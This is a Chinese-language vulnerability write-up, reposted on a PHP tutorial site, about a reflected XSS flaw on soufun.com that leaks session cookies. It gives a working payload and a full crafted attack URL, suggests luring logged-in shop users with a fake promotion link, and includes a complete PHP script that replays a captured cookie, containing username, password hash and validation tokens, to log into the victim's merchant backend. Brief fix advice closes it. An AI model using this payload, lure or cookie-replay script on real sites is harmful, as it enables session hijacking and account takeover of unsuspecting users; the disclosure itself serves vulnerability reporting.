网站地图    收藏   

主页 > 后端 > 网站安全 >

搜房网存在xss漏洞可导致csrf可导致用户帐号被盗

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 对输入的参数输出过滤不严谨导致反射型xss,泄漏用户cookie,导致信息被盗取,用户被登录这个漏洞在wooyun提了两次,没有审核通过,第二次审核不通过的提示语为:问题确实存在但是危...

对输入的参数输出过滤不严谨导致反射型xss,泄漏用户cookie,导致信息被盗取,用户被登录
这个漏洞在wooyun提了两次,没有审核通过,第二次审核不通过的提示语为:问题确实存在但是危害不大。
 
 
楼主认为反射型的xss漏洞可大可小,看怎么去利用。所以楼主现在一步步深挖,看这个漏洞危害可否被放大。
 
(1)寻找xss漏洞
 
目标链接:http://home.soufun.com/jiancai/SearchList.aspx
 
漏洞重现方法:在目标链接处输入 <a href="http://www.wooyun.org"><img src="#"/**/onerror=alert(document.cookie) width=100>点击参加活动</a>,在IE下可以看到反射型xss了。
 
对于没有登录的用户来说,确实没有什么危害,但是,对于已经登录的用户,我们来看cookie里存放了些什么东西:
 
 
 
 
如你所见,用户名,加密后的密码,都在这里边。
 
 
 
这里不讨论怎么去破解加密的密码,继续来演进这个漏洞有什么危害
 
 
 
(2)寻找目标,这是社会工程学的问题了。
 
找一个搜房 装修帮的用户,也很容易找,如:http://home.soufun.com/shop/40794726/
 
,发给用户这个链接http://home.soufun.com/jiancai/SearchList.aspx?level=1&q=%3Ca+href%3D%22http%3A%2F%2Fwww.wooyun.org%22%3E%3Cimg+src%3D%22%23%22%2F**%2Fonerror%3Dalert%28document.cookie%29+width%3D100%3E%B5%E3%BB%F7%B2%CE%BC%D3%BB%EE%B6%AF%3C%2Fa%3E&category=&x=57&y=14
 
 
 
标题说什么 搜房网推出什么优惠大活动神马的东西,
 
 
 
如果当前用户已经登录了装修帮后台,并访问了这个链接,那么恭喜,用户被反射型xss攻击了,如果不是alert用户的cookie,而是收集用户的cookie呢?会有什么危害?
 
 
 
(3)假设我们已经通过步骤(2)的xss存储了用户的cookie(其实要收集也很简单,一个http请求就是了),我们通过一下的脚本来跑一跑,看有什么效果:
 
<?php
function explode_cookie($cookie) {
$cookie_arr = explode(";", $cookie);

foreach ($cookie_arr as $cookie_str) {
list($cookie_key,$cookie_value) = explode("=", $cookie_str);
$cookie_key = trim($cookie_key);
setcookie($cookie_key,$cookie_value,1800,'/','soufun.com');
}
}

function url_replace($str) {
$pattern_var = "/href=(['\"])\//";
$replace_var = "href='http://dianpu.soufun.com/";

if (preg_match($pattern_var, $str)) {
$str = preg_replace($pattern_var, $replace_var, $str);
}

return $str;
}

$admin_url = array(
"http://dianpu.soufun.com/jiancai/dealer/top.aspx",
"http://dianpu.soufun.com/jiancai/dealer/left.aspx",
"http://dianpu.soufun.com/index.aspx", 
);

$cookie = "unique_cookie=U_b8nnhkz09nmlasskytp5f3ymg54hk50614w*12; __utmc=77873355; jiatxShopWindow=1; global_cookie=b8nnhkz09nmlasskytp5f3ymg54hk50614w; __utma=77873355.1662561517.1376029049.1376029049.1376037185.2; __utmb=77873355.9.10.1376037185; __utmz=77873355.1376029049.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); passport=usertype=1&userid=42545987&username=testxss89&password=381F5D8A96DFF049&isvalid=6BB50273C1F61D91962B0E259B086163&validation=6BB50273C1F61D912EC3FE322B6620E8917B57BF3DAD9B00; homezxb=sogo_dealerid=64451&Sogo_validation=C89DBE9F840476F053AEB80D5B7645B30D8754A1447B3A21&home_weike_userid=-64451&home_weike_user_validation=C89DBE9F840476F037BB50C741626714147ECDCB693EE44F; rememberRightname=testxss89";
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
explode_cookie($cookie);
foreach ($admin_url as $url) {
$header = array();
$header[] = "Cookie: {$cookie}\r\n";
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
$data = curl_exec($ch);
$data = url_replace($data);
echo $data;
}

curl_close($ch);

 

上面的脚本的意图就是,模拟http请求装修帮的后台。
 
 
 
正常的后台是这样的:
 
我们模拟登录后的后台是这样的:
 
 






 
如你所见,我已经登录了当前用户的帐号~
 
 
 
那么还有什么事情不能做呢?
 
 
 
 
 
 
 
这个漏洞可以做更多有想象力的事情,不管危害如何,希望尽快修复。
 
 
 
修复方案:

(1)建议 不要依赖cookie,连接session断掉之后cookie失效。
 
(2)修复xss漏洞 
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论